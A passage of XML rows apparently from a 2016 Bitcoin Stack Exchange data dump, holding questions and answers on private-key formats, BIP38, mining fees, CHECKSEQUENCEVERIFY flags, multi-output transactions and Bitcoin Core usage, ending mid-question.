that?&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2016-02-27T15:12:55.087" Title="Why are compressed private keys typically longer than their uncompressed counterpart?" Tags="|private-key|base58check|wallet-import-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43091" PostTypeId="2" ParentId="43090" CreationDate="2016-02-27T14:11:14.810" Score="0" Body="&lt;p&gt;by the specification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they are not &quot;typically longer&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they are &quot;always longer by 1 symbol&quot;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-02-27T14:11:14.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43092" PostTypeId="2" ParentId="43090" CreationDate="2016-02-27T15:12:55.087" Score="6" Body="&lt;p&gt;Because they are not &lt;em&gt;compressed private keys&lt;/em&gt;. They are &lt;em&gt;private keys with a marker that indicates that their corresponding public should be compressed&lt;/em&gt;. That extra marker takes an extra byte.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-27T15:12:55.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43094" PostTypeId="1" CreationDate="2016-02-27T18:13:52.653" Score="1" ViewCount="297" Body="&lt;p&gt;With BIP38 we can also generate an intermediate code (or passphrase code) and give it to untrusted party to generate encrypted key/address but not be able to decrypt the key without the passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This intermediate code can be used to generate any number of encrypted keys by the untrusted party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, is it safe for the untrusted party to save this intermediate code and re-generate new encrypted keys using the same when it's run out of keys?. Is this intermediate code more vulnerable than bruteforcing the encrypted key to guess the passphrase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there's a possibility of the code getting hacked and changed with some other code which if used would generate encrypted keys not belonging to the original user but consider that's been taken care of.&lt;/p&gt;&#xA;" OwnerUserId="33415" LastEditorUserId="120" LastEditDate="2016-03-01T20:30:07.883" LastActivityDate="2016-03-01T20:30:07.883" Title="Storing the intermediate code to generate new encrypted keys" Tags="|passphrase|bip38|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43095" PostTypeId="2" ParentId="43028" CreationDate="2016-02-28T08:21:43.913" Score="0" Body="&lt;p&gt;Zero confirmations is risky and not recommended. Best to wait for one / two confirmation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client browser doesn't need to constantly ping Server. You can use websocket connection for callback on transaction . For example see &lt;a href=&quot;https://www.blockonomics.co/views/api.html#txnotify&quot; rel=&quot;nofollow&quot;&gt;https://www.blockonomics.co/views/api.html#txnotify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-02-28T08:21:43.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43096" PostTypeId="1" CreationDate="2016-02-28T13:03:41.717" Score="11" ViewCount="21609" Body="&lt;p&gt;I am building an application and that will involve large set of bitcoin wallets and need to keep on checking for balance. I don't want to use any third party APIs as they all have hourly/secondly limits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can check bitcoin wallets balance without any API? I am not sure is &lt;code&gt;Bitcoin Demon&lt;/code&gt; and &lt;code&gt;Bitcoin Core&lt;/code&gt; is for this purpose. Can anyone please suggest me the best way to verify bitcoin balances and transactions without any limits.&lt;/p&gt;&#xA;" OwnerUserId="18926" LastEditorUserId="18926" LastEditDate="2016-09-06T14:56:40.207" LastActivityDate="2021-12-27T16:25:59.810" Title="How to check Bitcoin wallet balance without any API" Tags="|transactions|api|balance|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43097" PostTypeId="1" AcceptedAnswerId="43161" CreationDate="2016-02-28T13:45:33.057" Score="0" ViewCount="162" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last night, I debated a friend of mine about the decentralized nature of bitcoin.  He made an argument indicating that the Chinese Communist Party isn't concerned about bitcoin because more and more bitcoin transactions are completed in China and he believes the Communist Party of China is behind these mining farms.  He claims that once all bitcoins are mined, with China owning as many mining farms as they do, they can charge a tiny fraction for every transaction they process, thus making a stable bitcoin revenue over the long run.  His point is that it's in their inherent interest for bitcoin to become important for their citizens to use, as it's a small tax on all the usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is his way of explaining why China, unlike Russia, hasn't made bitcoin illegal for citizens to use (even if the citizens are trying to hide capital).  I was not aware that a miner processing transactions could charge a small fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a company/country set up a mining farm for processing transactions and charge a fraction for every transaction, say 0.0001 bitcoins per every transaction it completes?&lt;/p&gt;&#xA;" OwnerUserId="30383" LastEditorUserId="5406" LastEditDate="2016-03-02T15:33:03.937" LastActivityDate="2016-03-02T23:45:55.850" Title="Can A Mining Farm Profit From Transactions" Tags="|transaction-fees|blockspace-market|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43099" PostTypeId="2" ParentId="43096" CreationDate="2016-02-28T15:31:52.713" Score="1" Body="&lt;p&gt;You could craft the query as an HTML POST or GET message sent to a blockchain-explorer's website and parse the output received.&lt;/p&gt;&#xA;" OwnerUserId="30707" LastActivityDate="2016-02-28T15:31:52.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43100" PostTypeId="2" ParentId="43096" CreationDate="2016-02-28T15:55:07.953" Score="8" Body="&lt;p&gt;If you are not going to use a 3rd party API, you'll need to run a node and add each address you want to query as a watch only address. If you are looking to create a database with all addresses, similar to a block explorer website, you'll need to parse the blockchain using something like &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;noreferrer&quot;&gt;abe&lt;/a&gt;, and then continually update your database for each new transaction.  There's also the painful approach of turning on &lt;code&gt;txindex=1&lt;/code&gt; in your bitcoin.conf, and then going through every single block since genesis, that checks all txs outputs and then keeps a record of all addresses and transactions. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-02-28T15:55:07.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43101" PostTypeId="2" ParentId="43078" CreationDate="2016-02-28T17:11:53.373" Score="1" Body="&lt;p&gt;Because in order to validate sidechain transfers, &lt;code&gt;alphad&lt;/code&gt; needs to connect to a testnet &lt;code&gt;bitcoind&lt;/code&gt;. The rpcconnect-like flags passed to it are information about how it can do that, so you need to use the running &lt;code&gt;bitcoind&lt;/code&gt;'s port.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-28T17:11:53.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43103" PostTypeId="1" CreationDate="2016-02-28T18:35:45.833" Score="0" ViewCount="254" Body="&lt;p&gt;The tor network relies on volunteers providing bandwidth. This is a limiting factor of that system, since there is currently no direct benefit by operating a tor relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understood, TorCoins are altcoins that can be mined by providing bandwidth to the system. But how would a Proof-of-Work mechanism work for such a system? &lt;/p&gt;&#xA;" OwnerUserId="33354" LastActivityDate="2016-10-25T19:39:25.120" Title="How do TorCoins work?" Tags="|altcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43105" PostTypeId="1" CreationDate="2016-02-28T21:18:42.493" Score="4" ViewCount="5101" Body="&lt;p&gt;I'm trying to understand how mining works. For learning purpose I'm using Bitcoin Core as solo mining pool. Getblocktemplate will return data that is enough to start mining witch is simple founding correct nonce. But what is next step?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found in bitcoin core method submitblock that have one argument / block data. I didn't found any example how that data should be build. Please give me some advice.&lt;/p&gt;&#xA;" OwnerUserId="33031" LastEditorUserId="18196" LastEditDate="2016-03-04T13:43:54.323" LastActivityDate="2022-10-05T14:12:06.507" Title="How to use Bitcoin Core's submitblock method" Tags="|bitcoin-core|solo-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43107" PostTypeId="1" CreationDate="2016-02-29T02:05:10.390" Score="0" ViewCount="240" Body="&lt;p&gt;Today is the third day, when I'm waiting for Bitcoin Core win-x64 application will sync/initialize. How long should I wait more?&lt;/p&gt;&#xA;" OwnerUserId="33456" LastEditorUserId="5292" LastEditDate="2016-02-29T04:20:36.740" LastActivityDate="2016-03-30T04:55:33.850" Title="Bitcoin Core initialization taking forever" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43108" PostTypeId="2" ParentId="43107" CreationDate="2016-02-29T04:19:47.817" Score="1" Body="&lt;p&gt;Are you running the latest version? (0.12 is much faster than earlier versions) On decent PC hardware with decent internet connection it should finish well within a day, I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a PC you might want to give bitcoind a bit more memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-dbcache=&amp;lt;n&amp;gt;    Set database cache size in megabytes (4 to 16384, default: 100)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-29T04:19:47.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43110" PostTypeId="2" ParentId="43096" CreationDate="2016-02-29T05:36:00.247" Score="1" Body="&lt;p&gt;As suggested you can run your own node , and run a service like abe to index transactions. You could also run copay wallet along with the node. Though this is not recommended as it would take lot of time and would consume lot of resources(150 GB HDD/ 4 GB RAM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try &lt;a href=&quot;https://www.blockonomics.co/blockonomics&quot; rel=&quot;nofollow&quot;&gt;blockonomics - wallet watcher&lt;/a&gt; . They are optimized for checking balance of large number of addresses at once. The free plan is restricted to 50 address, you can easily upgrade to upto 1000 addresses. Their &lt;a href=&quot;https://www.blockonomics.co/views/api.html&quot; rel=&quot;nofollow&quot;&gt;API&lt;/a&gt; can be used to add/delete addressees.&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-02-29T05:36:00.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43111" PostTypeId="1" AcceptedAnswerId="43145" CreationDate="2016-02-29T08:09:14.507" Score="1" ViewCount="435" Body="&lt;p&gt;In &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch08.html#difficulty_bits&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin in the section on Difficulty Bits&lt;/a&gt; Andreas notes: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;This means that a valid block for height 277,316 is one that has a block header hash that is less than the target. In binary that number would have more than the first 60 bits set to zero. With this level of difficulty, a single miner processing 1 trillion hashes per second (1 tera-hash per second or 1 TH/sec) would only find a solution once every 8,496 blocks or once every 59 days, on average.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How was 59 days calculated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2^60 (1.15 x 10^18) would be the number of possible values to cycle through and 1 TH/s = 1 x 10^12 attempts every second but what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="31581" LastEditorUserId="31581" LastEditDate="2016-03-03T02:17:19.100" LastActivityDate="2016-03-03T02:17:19.100" Title="How was 59 days determined with 1 TH/sec from &quot;Mastering Bitcoin&quot;" Tags="|hash|difficulty|mastering-bitcoin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43113" PostTypeId="2" ParentId="43111" CreationDate="2016-02-29T12:58:10.213" Score="0" Body="&lt;p&gt;Sounds like he calculated 59 days first, using the method you mention. And then for some reason did 59 * 6 * 24 (1 block per ten minutes) to come to 8496.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree that it confuses more than it adds.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-29T12:58:10.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43114" PostTypeId="1" CreationDate="2016-02-29T13:43:36.633" Score="1" ViewCount="300" Body="&lt;p&gt;The bitcoin-explorer command &lt;code&gt;bx fetch-header -t 1&lt;/code&gt; fetches the first Bitcoin block and shows the block header.&lt;br&gt;&#xA;If I check the &quot;first&quot; block header, where does &quot;previous block hash&quot; come from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s22.postimg.org/mfwiqkc41/bx_fetch_header.png&quot; alt=&quot;bx fetch-header&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="32570" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.820" LastActivityDate="2016-03-02T06:37:55.797" Title="Previous block hash on first Bitcoin block?" Tags="|genesis-block|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43116" PostTypeId="2" ParentId="43114" CreationDate="2016-02-29T15:00:29.427" Score="1" Body="&lt;p&gt;Found the solution, the command for the genesis block should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bx fetch-header -t 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://s22.postimg.org/lu9dzycsx/bx_fetch_header2.png&quot; alt=&quot;bx fetch-header genesis block&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="32570" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.833" LastActivityDate="2016-03-02T06:37:55.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43117" PostTypeId="2" ParentId="5671" CreationDate="2016-02-29T18:54:56.910" Score="5" Body="&lt;p&gt;For the second round of sha256, you need to hash the raw binary output from the first round, not the textual version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sha256 hash is 256 bits, or 32 bytes. Thus for the second round you should be hashing a piece of data that's 32 bytes. When hashing a hexadecimal string as the literal input for the second round, your data is 64 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try a hashing tool that can interpret hexadecimal input. For example &lt;a href=&quot;http://anyhash.com/sha256?hello&quot; rel=&quot;noreferrer&quot;&gt;see here&lt;/a&gt;, copy/paste the hash to the input field and check the 'Hex' checkbox.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2016-02-29T18:54:56.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43118" PostTypeId="2" ParentId="43068" CreationDate="2016-02-29T19:06:51.523" Score="0" Body="&lt;p&gt;Why do euros or dollars or pounds on your bank account have value? After all, they're nothing. They don't even exist, money on a bank account is purely fictional. Who's willing to pay (or work) for something that doesn't even exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason a bitcoin has value is because of its &lt;strong&gt;utility&lt;/strong&gt; (an extremely efficient, fast, easy, frictionless, safe, unrestricted money and payment system) &lt;strong&gt;combined with its scarcity&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Water is useful, but generally not scarce. My toenail clippings are scarce, but not useful. But the more people consider something to be useful (and with Bitcoin, there are plenty of reasons why people find it useful) the higher the demand. Yet the supply is limited, and price is essentially determined by demand vs supply, thus it has value.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2016-02-29T19:06:51.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43119" PostTypeId="2" ParentId="40727" CreationDate="2016-02-29T19:13:36.957" Score="1" Body="&lt;p&gt;A double spend is not possible. A double spend &lt;em&gt;attempt&lt;/em&gt;, yes. You might try and (accidentally or intentionally) broadcast two different transactions that spend the same bitcoins. But only one will eventually get included in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you say one payment has 8 confirmations, then that's the one that became final ('set in stone') and the other will never happen.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2016-02-29T19:13:36.957" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43120" PostTypeId="1" CreationDate="2016-02-29T19:13:39.577" Score="0" ViewCount="1258" Body="&lt;p&gt;Big transaction, sender put good miner fee on it but it is not confirming. Can anyone help me or tell me why it isn't confirming?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/a95f4d5fa41b194454bdd6d665f002ec31b5e8b25c12bc22c39497f2a7139b2f&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/a95f4d5fa41b194454bdd6d665f002ec31b5e8b25c12bc22c39497f2a7139b2f&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33484" LastEditorUserId="5406" LastEditDate="2016-03-02T06:28:42.687" LastActivityDate="2018-01-21T15:42:26.353" Title="Transaction will not confirm!" Tags="|unconfirmed-transactions|" AnswerCount="1" CommentCount="2" ClosedDate="2018-01-21T20:08:19.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="43121" PostTypeId="2" ParentId="13828" CreationDate="2016-02-29T19:28:13.993" Score="1" Body="&lt;p&gt;A simpler approach is this: a private key is always associated with a public key, and normally you need the private key in order to calculate its corresponding public key. However, due to the Elliptic Curve Cryptographic nature of the private and public keys used in Bitcoin, you can perform basic mathematical operations on keys &lt;strong&gt;independently on the private and public parts&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, suppose you have two private keys P and Q. The public key for P is A, and the public key for Q is B (you'd need P to calculate A, and Q to calculate B). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now watch this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can do R = P+n*Q (for any integer n) which results in a new private key R.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also do C = A+n*B and now &lt;strong&gt;C is the public key for R!&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you only need to have &lt;strong&gt;public&lt;/strong&gt; keys A and B on the server, and you can generate infinite public keys like A+n*B, without using any private key. To later calculate the private key (in order to spend the money) you can do P+n*Q on another, independent (possibly offline) environment.&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2016-02-29T19:28:13.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43122" PostTypeId="1" AcceptedAnswerId="43129" CreationDate="2016-02-29T19:35:17.870" Score="1" ViewCount="125" Body="&lt;p&gt;The 21 Bitcoin computer is using Core, right? I can't find any information that says otherwise. Can someone please confirm this for me though?&lt;/p&gt;&#xA;" OwnerUserId="6888" LastEditorUserId="5406" LastEditDate="2016-03-01T08:48:25.637" LastActivityDate="2016-03-12T16:14:14.053" Title="Is the 21 Bitcoin computer using Core or Classic?" Tags="|bitcoin-core|bitcoin-classic|21-bitcoin-computer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43123" PostTypeId="1" CreationDate="2016-02-29T19:59:01.003" Score="5" ViewCount="7827" Body="&lt;p&gt;I would like to install Bitcoin Core on a CentOs server.&lt;br&gt;&#xA;Where can I find instructions, or what are the exact steps to install Bitcoin Core on a CentOs Server?&lt;/p&gt;&#xA;" OwnerUserId="33490" LastEditorUserId="5406" LastEditDate="2016-03-01T08:54:11.273" LastActivityDate="2021-08-19T15:13:52.813" Title="How does one install Bitcoin Core on a CentOs server?" Tags="|installation|centos|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43124" PostTypeId="1" AcceptedAnswerId="43126" CreationDate="2016-02-29T21:17:59.897" Score="3" ViewCount="477" Body="&lt;p&gt;I am trying to understand the implementation/specification of OP_CSV with BIP112 and BIP68.&#xA;I understand the implication of the op-code and new consensus rules. I just don't understand exactly how the sequence number is represented. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all I am not sure what it means when e.g. the type flag of the sequence number is referred to as bit (1 &amp;lt;&amp;lt; 22). Does it just mean it is the bit at position 22?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly with the disable flag (1 &amp;lt;&amp;lt; 31), is the bit at position 31? And what is its implication? It must be &quot;unset&quot; (=0?) to use the NEW consensus rules for the sequence number? Why is it necessary when the  version field of the transaction &gt; 2 already tells to use the new consensus rule?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also don't understand this sentence:&#xA;&quot;The flag (1&amp;lt;&amp;lt;22) is the highest order bit in a 3-byte signed integer for use in bitcoin scripts as a 3-byte PUSHDATA with OP_CHECKSEQUENCEVERIFY (BIP 112).&quot;&#xA;A 3-byte integer has 24 bits, or not? And one bit is used as sign. Then since the flag is the highest order bit, why is it not at position 23?&#xA;And why is it represented as a signed integer, when obviously negative block-counts is marked as error by BIP112?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe somebody could give me an example of how exactly the sequence number would look like for the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction confirmed with block 400,000 and:&#xA;scriptPubKey: &quot;30days&quot; OP_CHECKSEQUENCEVERIFY&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction that spends the output:&#xA;scriptSig: OP_TRUE&#xA;nSequence: ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does somebody know how the exact data of &quot;30days&quot; would look like (the bit/byte-wise number represenation with flags and all)?&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2016-02-29T22:17:16.727" Title="How is nSequence interpreted with CHECKSEQUENCEVERIFY?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43125" PostTypeId="2" ParentId="43120" CreationDate="2016-02-29T21:27:12.037" Score="3" Body="&lt;p&gt;Although the fee is roughly 0.0002 BTC/KByte (corresonds to 20 Satoshis/Byte), at the moment there is a congestion of transactions happening in the network, with roughly 30,000 unconfirmed transactions:&#xA;&lt;a href=&quot;https://tradeblock.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;https://tradeblock.com/bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the required fee has increased dramatically for high priority transactions:&#xA;&lt;a href=&quot;https://bitcoinfees.21.co/#delay&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinfees.21.co/#delay&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like your transaction fee should have been three times as high to be regarded with high priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But just wait some more time, the transaction should be confirmed soon. &lt;/p&gt;&#xA;" OwnerUserId="29432" LastEditorUserId="29432" LastEditDate="2016-02-29T21:30:44.273" LastActivityDate="2016-02-29T21:30:44.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43126" PostTypeId="2" ParentId="43124" CreationDate="2016-02-29T22:17:16.727" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;First of all I am not sure what it means when e.g. the type flag of the sequence number is referred to as bit (1 &amp;lt;&amp;lt; 22). Does it just mean it is the bit at position 22?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. It means the bit position that is set in the integer 4194304 (in decimal) or 0x400000 (in hexadecimal).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Similarly with the disable flag (1 &amp;lt;&amp;lt; 31), is the bit at position 31? And what is its implication? It must be &quot;unset&quot; (=0?) to use the NEW consensus rules for the sequence number? Why is it necessary when the version field of the transaction &gt; 2 already tells to use the new consensus rule? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe some day we introduce a version 3 transaction that adds more possibilities. Maybe somebody wants to use one of the new features introduces at that time, but does not want relative locktime. He would be out of luck, as 3 is larger than 2.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I also don't understand this sentence: &quot;The flag (1&amp;lt;&amp;lt;22) is the highest order bit in a 3-byte signed integer for use in bitcoin scripts as a 3-byte PUSHDATA with OP_CHECKSEQUENCEVERIFY (BIP 112).&quot; A 3-byte integer has 24 bits, or not? And one bit is used as sign. Then since the flag is the highest order bit, why is it not at position 23? And why is it represented as a signed integer, when obviously negative block-counts is marked as error by BIP112?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Integers in Bitcoin Script are always signed, and this is not changed for OP_CHECKSEQUENCEVERIFY, to avoid introducing more specific logic. As a result, the highest bit that is not a sign bit is (1 &amp;lt;&amp;lt; 22).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add an example later.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-29T22:17:16.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43129" PostTypeId="2" ParentId="43122" CreationDate="2016-03-01T07:16:36.750" Score="2" Body="&lt;p&gt;I assumed so myself since the alternatives were not in a mature stage (technically and/or socially accepted) when 21 released their computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in their &lt;a href=&quot;https://21.co/learn/21-full-node/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; they do say that you will have a Bitcoin Core full node running at the end.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-01T07:16:36.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43134" PostTypeId="1" AcceptedAnswerId="43136" CreationDate="2016-03-01T15:14:03.480" Score="11" ViewCount="5793" Body="&lt;p&gt;I saw a Bitcoin transaction that has 6 inputs and 4 outputs. I understand that several inputs are sometimes used in order to meet the amount requirements of the output. As a result you have two outputs: The spent amount and the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it then that a transaction can have four outputs? Is it possible to pay more than one person (address) in a single transaction?&lt;/p&gt;&#xA;" OwnerUserId="28134" LastActivityDate="2023-04-02T00:19:45.543" Title="How would you end up with more than two transaction outputs?" Tags="|transactions|output|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43135" PostTypeId="2" ParentId="43134" CreationDate="2016-03-01T15:20:36.730" Score="4" Body="&lt;p&gt;Short answer: yes, you can do multiple payments in one transaction, and that's more efficient than doing them separately.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-01T15:20:36.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43136" PostTypeId="2" ParentId="43134" CreationDate="2016-03-01T15:22:02.750" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How is it then that a transaction can have four outputs? Is it possible to pay more than one person (address) in a single transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, a transaction can have several inputs and several outputs. Those inputs and outputs can belong to the same user or a different user. So user A and B could make a transaction that combines several of their addresses and send money to C and D in as many of their addresses as they see fit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually the change address that you mentioned is not a special output; just an output that sends some money to any of your addresses.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-01T15:22:02.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43137" PostTypeId="1" AcceptedAnswerId="43138" CreationDate="2016-03-01T15:23:01.380" Score="2" ViewCount="80" Body="&lt;p&gt;I know of the testnet Bitcoin provides, but is there any framework or simulator of the Bitcoin network which I can use to test on my local machine? I would like to edit parts of the code and simulate the responses of the real network without actually interacting with it.&lt;/p&gt;&#xA;" OwnerUserId="32892" LastEditorUserId="5406" LastEditDate="2016-03-02T06:25:53.047" LastActivityDate="2016-03-02T06:25:53.047" Title="Test network completely removed from the real network?" Tags="|development|testnet|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43138" PostTypeId="2" ParentId="43137" CreationDate="2016-03-01T16:24:49.720" Score="2" Body="&lt;p&gt;There is a section in the Bitcoin Developer Guide on Testing Applications. The section you are interested in is likely to be &lt;a href=&quot;https://bitcoin.org/en/developer-examples#testing-applications&quot; rel=&quot;nofollow&quot;&gt;Regtest&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-03-01T20:48:59.480" LastActivityDate="2016-03-01T20:48:59.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43139" PostTypeId="1" AcceptedAnswerId="43140" CreationDate="2016-03-01T18:47:04.553" Score="4" ViewCount="581" Body="&lt;p&gt;Yesterday evening I installed the Bitcoin Core wallet (v0.11.2 (64-bit) from the Chocolatey repo to my Windows 10 machine). I had some coins in an old wallet.dat that I copied to the data directory. That worked fine. While the Blockchain was downloading, I transferred the balance from the old wallet to a new address (in my MultiBit HD wallet): &lt;code&gt;1JRyKhLLXMeVPpeEw3fvcJbUmrZYtRiojd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core wallet created a new transaction to that address in the transaction list. Unfortunately, a few seconds later, it also created a new transaction with the same amount, but to an unfamiliar address: &lt;code&gt;1Msx9dp6uVr1rrz6pUxXwqLL3oxB9fDn1j&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This new transaction was soon confirmed, while the transaction I entered remains with status Conflicted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's (the relevant part of) the transaction list in Bitcoin Core 